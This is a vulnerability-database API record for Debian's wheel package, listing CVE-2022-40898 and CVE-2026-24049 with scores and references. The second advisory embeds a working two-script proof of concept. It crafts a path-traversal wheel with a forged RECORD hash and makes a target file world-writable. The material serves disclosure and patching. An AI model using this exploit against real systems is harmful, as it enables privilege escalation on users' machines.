Lookup for vulnerable packages by Package URL.

GET /api/packages/942687?format=api
HTTP 200 OK
Allow: GET, HEAD, OPTIONS
Content-Type: application/json
Vary: Accept

{
    "url": "http://public2.vulnerablecode.io/api/packages/942687?format=api",
    "purl": "pkg:deb/debian/wheel@0.38.4-2?distro=trixie",
    "type": "deb",
    "namespace": "debian",
    "name": "wheel",
    "version": "0.38.4-2",
    "qualifiers": {
        "distro": "trixie"
    },
    "subpath": "",
    "is_vulnerable": false,
    "next_non_vulnerable_version": "0.46.3-1",
    "latest_non_vulnerable_version": "0.47.0-1",
    "affected_by_vulnerabilities": [],
    "fixing_vulnerabilities": [
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/9900?format=api",
            "vulnerability_id": "VCID-12sa-qzjz-2ya9",
            "summary": "An issue discovered in Python Packaging Authority (PyPA) Wheel 0.37.1 and earlier allows remote attackers to cause a denial of service via attacker controlled input to wheel cli.",
            "references": [
                {
                    "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2022-40898.json",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.5",
                            "scoring_system": "cvssv3",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
                        }
                    ],
                    "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2022-40898.json"
                },
                {
                    "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2022-40898",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "0.00162",
                            "scoring_system": "epss",
                            "scoring_elements": "0.37059",
                            "published_at": "2026-04-07T12:55:00Z"
                        },
                        {
                            "value": "0.00162",
                            "scoring_system": "epss",
                            "scoring_elements": "0.37045",
                            "published_at": "2026-04-21T12:55:00Z"
                        },
                        {
                            "value": "0.00162",
                            "scoring_system": "epss",
                            "scoring_elements": "0.37101",
                            "published_at": "2026-04-18T12:55:00Z"
                        },
                        {
                            "value": "0.00162",
                            "scoring_system": "epss",
                            "scoring_elements": "0.37119",
                            "published_at": "2026-04-16T12:55:00Z"
                        },
                        {
                            "value": "0.00162",
                            "scoring_system": "epss",
                            "scoring_elements": "0.37073",
                            "published_at": "2026-04-13T12:55:00Z"
                        },
                        {
                            "value": "0.00162",
                            "scoring_system": "epss",
                            "scoring_elements": "0.37199",
                            "published_at": "2026-04-02T12:55:00Z"
                        },
                        {
                            "value": "0.00162",
                            "scoring_system": "epss",
                            "scoring_elements": "0.371",
                            "published_at": "2026-04-12T12:55:00Z"
                        },
                        {
                            "value": "0.00162",
                            "scoring_system": "epss",
                            "scoring_elements": "0.37134",
                            "published_at": "2026-04-11T12:55:00Z"
                        },
                        {
                            "value": "0.00162",
                            "scoring_system": "epss",
                            "scoring_elements": "0.37124",
                            "published_at": "2026-04-09T12:55:00Z"
                        },
                        {
                            "value": "0.00162",
                            "scoring_system": "epss",
                            "scoring_elements": "0.3711",
                            "published_at": "2026-04-08T12:55:00Z"
                        },
                        {
                            "value": "0.00162",
                            "scoring_system": "epss",
                            "scoring_elements": "0.37228",
                            "published_at": "2026-04-04T12:55:00Z"
                        },
                        {
                            "value": "0.00172",
                            "scoring_system": "epss",
                            "scoring_elements": "0.38382",
                            "published_at": "2026-04-26T12:55:00Z"
                        },
                        {
                            "value": "0.00172",
                            "scoring_system": "epss",
                            "scoring_elements": "0.38244",
                            "published_at": "2026-05-07T12:55:00Z"
                        },
                        {
                            "value": "0.00172",
                            "scoring_system": "epss",
                            "scoring_elements": "0.38175",
                            "published_at": "2026-05-05T12:55:00Z"
                        },
                        {
                            "value": "0.00172",
                            "scoring_system": "epss",
                            "scoring_elements": "0.3829",
                            "published_at": "2026-04-29T12:55:00Z"
                        },
                        {
                            "value": "0.00172",
                            "scoring_system": "epss",
                            "scoring_elements": "0.38254",
                            "published_at": "2026-05-09T12:55:00Z"
                        },
                        {
                            "value": "0.00172",
                            "scoring_system": "epss",
                            "scoring_elements": "0.38407",
                            "published_at": "2026-04-24T12:55:00Z"
                        }
                    ],
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2022-40898"
                },
                {
                    "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-40898",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-40898"
                },
                {
                    "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "4.3",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L"
                        }
                    ],
                    "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"
                },
                {
                    "reference_url": "https://github.com/pypa/advisory-database/tree/main/vulns/wheel/PYSEC-2022-43017.yaml",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.5",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/pypa/advisory-database/tree/main/vulns/wheel/PYSEC-2022-43017.yaml"
                },
                {
                    "reference_url": "https://github.com/pypa/wheel",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.5",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/pypa/wheel"
                },
                {
                    "reference_url": "https://github.com/pypa/wheel/blob/main/src/wheel/wheelfile.py#L18",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.5",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2025-04-15T15:53:45Z/"
                        }
                    ],
                    "url": "https://github.com/pypa/wheel/blob/main/src/wheel/wheelfile.py#L18"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2022-40898",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.5",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-40898"
                },
                {
                    "reference_url": "https://pypi.org/project/wheel",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.5",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://pypi.org/project/wheel"
                },
                {
                    "reference_url": "https://pypi.org/project/wheel/",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.5",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
                        },
                        {
                            "value": "Track",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2025-04-15T15:53:45Z/"
                        }
                    ],
                    "url": "https://pypi.org/project/wheel/"
                },
                {
                    "reference_url": "https://pyup.io/posts/pyup-discovers-redos-vulnerabilities-in-top-python-packages",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.5",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://pyup.io/posts/pyup-discovers-redos-vulnerabilities-in-top-python-packages"
                },
                {
                    "reference_url": "https://pyup.io/posts/pyup-discovers-redos-vulnerabilities-in-top-python-packages/",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.5",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
                        },
                        {
                            "value": "Track",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2025-04-15T15:53:45Z/"
                        }
                    ],
                    "url": "https://pyup.io/posts/pyup-discovers-redos-vulnerabilities-in-top-python-packages/"
                },
                {
                    "reference_url": "https://pyup.io/vulnerabilities/CVE-2022-40898/51499",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.5",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://pyup.io/vulnerabilities/CVE-2022-40898/51499"
                },
                {
                    "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2165864",
                    "reference_id": "2165864",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2165864"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-qwmp-2cf2-g9g6",
                    "reference_id": "GHSA-qwmp-2cf2-g9g6",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-qwmp-2cf2-g9g6"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2023:6712",
                    "reference_id": "RHSA-2023:6712",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2023:6712"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2023:6793",
                    "reference_id": "RHSA-2023:6793",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2023:6793"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2024:10761",
                    "reference_id": "RHSA-2024:10761",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2024:10761"
                },
                {
                    "reference_url": "https://usn.ubuntu.com/5821-1/",
                    "reference_id": "USN-5821-1",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://usn.ubuntu.com/5821-1/"
                },
                {
                    "reference_url": "https://usn.ubuntu.com/5821-3/",
                    "reference_id": "USN-5821-3",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://usn.ubuntu.com/5821-3/"
                },
                {
                    "reference_url": "https://usn.ubuntu.com/USN-5821-2/",
                    "reference_id": "USN-USN-5821-2",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://usn.ubuntu.com/USN-5821-2/"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/942688?format=api",
                    "purl": "pkg:deb/debian/wheel@0.38.0-1?distro=trixie",
                    "is_vulnerable": false,
                    "affected_by_vulnerabilities": [],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/wheel@0.38.0-1%3Fdistro=trixie"
                },
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/942687?format=api",
                    "purl": "pkg:deb/debian/wheel@0.38.4-2?distro=trixie",
                    "is_vulnerable": false,
                    "affected_by_vulnerabilities": [],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/wheel@0.38.4-2%3Fdistro=trixie"
                },
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/942690?format=api",
                    "purl": "pkg:deb/debian/wheel@0.46.1-2?distro=trixie",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-fm8w-bycx-4yex"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/wheel@0.46.1-2%3Fdistro=trixie"
                },
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/942689?format=api",
                    "purl": "pkg:deb/debian/wheel@0.46.3-2?distro=trixie",
                    "is_vulnerable": false,
                    "affected_by_vulnerabilities": [],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/wheel@0.46.3-2%3Fdistro=trixie"
                },
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/1077506?format=api",
                    "purl": "pkg:deb/debian/wheel@0.47.0-1?distro=trixie",
                    "is_vulnerable": false,
                    "affected_by_vulnerabilities": [],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/wheel@0.47.0-1%3Fdistro=trixie"
                }
            ],
            "aliases": [
                "CVE-2022-40898",
                "GHSA-qwmp-2cf2-g9g6",
                "PYSEC-2022-43017"
            ],
            "risk_score": 4.0,
            "exploitability": "0.5",
            "weighted_severity": "8.0",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-12sa-qzjz-2ya9"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/20550?format=api",
            "vulnerability_id": "VCID-fm8w-bycx-4yex",
            "summary": "Wheel Affected by Arbitrary File Permission Modification via Path Traversal in wheel unpack\n### Summary\n - **Vulnerability Type:** Path Traversal (CWE-22) leading to Arbitrary File Permission Modification.  \n - **Root Cause Component:** wheel.cli.unpack.unpack function.  \n - **Affected Packages:**  \n   1. wheel (Upstream source)  \n   2. setuptools (Downstream, vendors wheel)  \n - **Severity:** High (Allows modifying system file permissions).  \n\n### Details  \nThe vulnerability exists in how the unpack function handles file permissions after extraction. The code blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path.  \n```\n# Vulnerable Code Snippet (present in both wheel and setuptools/_vendor/wheel)\nfor zinfo in wf.filelist:\n    wf.extract(zinfo, destination)  # (1) Extraction is handled safely by zipfile\n\n    # (2) VULNERABILITY:\n    # The 'permissions' are applied to a path constructed using the UNSANITIZED 'zinfo.filename'.\n    # If zinfo.filename contains \"../\", this targets files outside the destination.\n    permissions = zinfo.external_attr >> 16 & 0o777\n    destination.joinpath(zinfo.filename).chmod(permissions)\n```  \n\n### PoC  \nI have confirmed this exploit works against the unpack function imported from setuptools._vendor.wheel.cli.unpack.  \n\n**Prerequisites:** pip install setuptools  \n\n**Step 1: Generate the Malicious Wheel (gen_poc.py)**  \nThis script creates a wheel that passes internal hash validation but contains a directory traversal payload in the file list.  \n```\nimport zipfile\nimport hashlib\nimport base64\nimport os\n\ndef urlsafe_b64encode(data):\n    \"\"\"\n    Helper function to encode data using URL-safe Base64 without padding.\n    Required by the Wheel file format specification.\n    \"\"\"\n    return base64.urlsafe_b64encode(data).rstrip(b'=').decode('ascii')\n\ndef get_hash_and_size(data_bytes):\n    \"\"\"\n    Calculates SHA-256 hash and size of the data.\n    These values are required to construct a valid 'RECORD' file,\n    which is used by the 'wheel' library to verify integrity.\n    \"\"\"\n    digest = hashlib.sha256(data_bytes).digest()\n    hash_str = \"sha256=\" + urlsafe_b64encode(digest)\n    return hash_str, str(len(data_bytes))\n\ndef create_evil_wheel_v4(filename=\"evil-1.0-py3-none-any.whl\"):\n    print(f\"[Generator V4] Creating 'Authenticated' Malicious Wheel: {filename}\")\n\n    # 1. Prepare Standard Metadata Content\n    # These are minimal required contents to make the wheel look legitimate.\n    wheel_content = b\"Wheel-Version: 1.0\\nGenerator: bdist_wheel (0.37.1)\\nRoot-Is-Purelib: true\\nTag: py3-none-any\\n\"\n    metadata_content = b\"Metadata-Version: 2.1\\nName: evil\\nVersion: 1.0\\nSummary: PoC Package\\n\"\n   \n    # 2. Define Malicious Payload (Path Traversal)\n    # The content doesn't matter, but the path does.\n    payload_content = b\"PWNED by Path Traversal\"\n\n    # [ATTACK VECTOR]: Target a file OUTSIDE the extraction directory using '../'\n    # The vulnerability allows 'chmod' to affect this path directly.\n    malicious_path = \"../../poc_target.txt\"\n\n    # 3. Calculate Hashes for Integrity Check Bypass\n    # The 'wheel' library verifies if the file hash matches the RECORD entry.\n    # To bypass this check, we calculate the correct hash for our malicious file.\n    wheel_hash, wheel_size = get_hash_and_size(wheel_content)\n    metadata_hash, metadata_size = get_hash_and_size(metadata_content)\n    payload_hash, payload_size = get_hash_and_size(payload_content)\n\n    # 4. Construct the 'RECORD' File\n    # The RECORD file lists all files in the wheel with their hashes.\n    # CRITICAL: We explicitly register the malicious path ('../../poc_target.txt') here.\n    # This tricks the 'wheel' library into treating the malicious file as a valid, verified component.\n    record_lines = [\n        f\"evil-1.0.dist-info/WHEEL,{wheel_hash},{wheel_size}\",\n        f\"evil-1.0.dist-info/METADATA,{metadata_hash},{metadata_size}\",\n        f\"{malicious_path},{payload_hash},{payload_size}\",  # <-- Authenticating the malicious path\n        \"evil-1.0.dist-info/RECORD,,\"\n    ]\n    record_content = \"\\n\".join(record_lines).encode('utf-8')\n\n    # 5. Build the Zip File\n    with zipfile.ZipFile(filename, \"w\") as zf:\n        # Write standard metadata files\n        zf.writestr(\"evil-1.0.dist-info/WHEEL\", wheel_content)\n        zf.writestr(\"evil-1.0.dist-info/METADATA\", metadata_content)\n        zf.writestr(\"evil-1.0.dist-info/RECORD\", record_content)\n\n        # [EXPLOIT CORE]: Manually craft ZipInfo for the malicious file\n        # We need to set specific permission bits to trigger the vulnerability.\n        zinfo = zipfile.ZipInfo(malicious_path)\n       \n        # Set external attributes to 0o777 (rwxrwxrwx)\n        # Upper 16 bits: File type (0o100000 = Regular File)\n        # Lower 16 bits: Permissions (0o777 = World Writable)\n        # The vulnerable 'unpack' function will blindly apply this '777' to the system file.\n        zinfo.external_attr = (0o100000 | 0o777) << 16\n       \n        zf.writestr(zinfo, payload_content)\n\n    print(\"[Generator V4] Done. Malicious file added to RECORD and validation checks should pass.\")\n\nif __name__ == \"__main__\":\n    create_evil_wheel_v4()\n```  \n\n**Step 2: Run the Exploit (exploit.py)**  \n```\nfrom pathlib import Path\nimport sys\n\n# Demonstrating impact on setuptools\ntry:\n    from setuptools._vendor.wheel.cli.unpack import unpack\n    print(\"[*] Loaded unpack from setuptools\")\nexcept ImportError:\n    from wheel.cli.unpack import unpack\n    print(\"[*] Loaded unpack from wheel\")\n\n# 1. Setup Target (Read-Only system file simulation)\ntarget = Path(\"poc_target.txt\")\ntarget.write_text(\"SENSITIVE CONFIG\")\ntarget.chmod(0o400) # Read-only\nprint(f\"[*] Initial Perms: {oct(target.stat().st_mode)[-3:]}\")\n\n# 2. Run Vulnerable Unpack\n# The wheel contains \"../../poc_target.txt\".\n# unpack() will extract safely, BUT chmod() will hit the actual target file.\ntry:\n    unpack(\"evil-1.0-py3-none-any.whl\", \"unpack_dest\")\nexcept Exception as e:\n    print(f\"[!] Ignored expected extraction error: {e}\")\n\n# 3. Check Result\nfinal_perms = oct(target.stat().st_mode)[-3:]\nprint(f\"[*] Final Perms: {final_perms}\")\n\nif final_perms == \"777\":\n    print(\"VULNERABILITY CONFIRMED: Target file is now world-writable (777)!\")\nelse:\n    print(\"[-] Attack failed.\")\n```  \n\n**result:**  \n<img width=\"806\" height=\"838\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f750eb3b-36ea-445c-b7f4-15c14eb188db\" />  \n  \n### Impact  \nAttackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files) to 777. This allows for Privilege Escalation or arbitrary code execution by modifying now-writable scripts.  \n\n### Recommended Fix  \nThe unpack function must not use zinfo.filename for post-extraction operations. It should use the sanitized path returned by wf.extract().  \n\n### Suggested Patch:  \n```\n# extract() returns the actual path where the file was written\nextracted_path = wf.extract(zinfo, destination)\n\n# Only apply chmod if a file was actually written\nif extracted_path:\n    permissions = zinfo.external_attr >> 16 & 0o777\n    Path(extracted_path).chmod(permissions)\n```",
            "references": [
                {
                    "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-24049.json",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.1",
                            "scoring_system": "cvssv3",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H"
                        }
                    ],
                    "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-24049.json"
                },
                {
                    "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-24049",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "0.00013",
                            "scoring_system": "epss",
                            "scoring_elements": "0.0191",
                            "published_at": "2026-05-07T12:55:00Z"
                        },
                        {
                            "value": "0.00013",
                            "scoring_system": "epss",
                            "scoring_elements": "0.0192",
                            "published_at": "2026-05-05T12:55:00Z"
                        },
                        {
                            "value": "0.00013",
                            "scoring_system": "epss",
                            "scoring_elements": "0.01973",
                            "published_at": "2026-04-29T12:55:00Z"
                        },
                        {
                            "value": "0.00013",
                            "scoring_system": "epss",
                            "scoring_elements": "0.01961",
                            "published_at": "2026-04-21T12:55:00Z"
                        },
                        {
                            "value": "0.00013",
                            "scoring_system": "epss",
                            "scoring_elements": "0.01943",
                            "published_at": "2026-04-26T12:55:00Z"
                        },
                        {
                            "value": "0.00013",
                            "scoring_system": "epss",
                            "scoring_elements": "0.01905",
                            "published_at": "2026-04-02T12:55:00Z"
                        },
                        {
                            "value": "0.00013",
                            "scoring_system": "epss",
                            "scoring_elements": "0.01948",
                            "published_at": "2026-04-24T12:55:00Z"
                        },
                        {
                            "value": "0.00013",
                            "scoring_system": "epss",
                            "scoring_elements": "0.01918",
                            "published_at": "2026-04-04T12:55:00Z"
                        },
                        {
                            "value": "0.00013",
                            "scoring_system": "epss",
                            "scoring_elements": "0.01917",
                            "published_at": "2026-04-11T12:55:00Z"
                        },
                        {
                            "value": "0.00013",
                            "scoring_system": "epss",
                            "scoring_elements": "0.01919",
                            "published_at": "2026-04-08T12:55:00Z"
                        },
                        {
                            "value": "0.00013",
                            "scoring_system": "epss",
                            "scoring_elements": "0.01933",
                            "published_at": "2026-05-09T12:55:00Z"
                        },
                        {
                            "value": "0.00013",
                            "scoring_system": "epss",
                            "scoring_elements": "0.01901",
                            "published_at": "2026-04-12T12:55:00Z"
                        },
                        {
                            "value": "0.00013",
                            "scoring_system": "epss",
                            "scoring_elements": "0.01896",
                            "published_at": "2026-04-13T12:55:00Z"
                        },
                        {
                            "value": "0.00013",
                            "scoring_system": "epss",
                            "scoring_elements": "0.01877",
                            "published_at": "2026-04-16T12:55:00Z"
                        },
                        {
                            "value": "0.00013",
                            "scoring_system": "epss",
                            "scoring_elements": "0.01875",
                            "published_at": "2026-04-18T12:55:00Z"
                        }
                    ],
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-24049"
                },
                {
                    "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.7",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H"
                        }
                    ],
                    "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"
                },
                {
                    "reference_url": "https://github.com/pypa/wheel",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.1",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/pypa/wheel"
                },
                {
                    "reference_url": "https://github.com/pypa/wheel/commit/7a7d2de96b22a9adf9208afcc9547e1001569fef",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.1",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-01-22T12:24:28Z/"
                        }
                    ],
                    "url": "https://github.com/pypa/wheel/commit/7a7d2de96b22a9adf9208afcc9547e1001569fef"
                },
                {
                    "reference_url": "https://github.com/pypa/wheel/commit/934fe177ff912c8e03d5ae951d3805e1fd90ba5e",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.1",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/pypa/wheel/commit/934fe177ff912c8e03d5ae951d3805e1fd90ba5e"
                },
                {
                    "reference_url": "https://github.com/pypa/wheel/releases/tag/0.46.2",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.1",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-01-22T12:24:28Z/"
                        }
                    ],
                    "url": "https://github.com/pypa/wheel/releases/tag/0.46.2"
                },
                {
                    "reference_url": "https://github.com/pypa/wheel/security/advisories/GHSA-8rrh-rw8j-w5fx",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.1",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-01-22T12:24:28Z/"
                        }
                    ],
                    "url": "https://github.com/pypa/wheel/security/advisories/GHSA-8rrh-rw8j-w5fx"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24049",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.1",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24049"
                },
                {
                    "reference_url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1126274",
                    "reference_id": "1126274",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1126274"
                },
                {
                    "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2431959",
                    "reference_id": "2431959",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2431959"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-8rrh-rw8j-w5fx",
                    "reference_id": "GHSA-8rrh-rw8j-w5fx",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-8rrh-rw8j-w5fx"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:10184",
                    "reference_id": "RHSA-2026:10184",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:10184"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:13545",
                    "reference_id": "RHSA-2026:13545",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:13545"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:14020",
                    "reference_id": "RHSA-2026:14020",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:14020"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:1504",
                    "reference_id": "RHSA-2026:1504",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:1504"
                },
                {
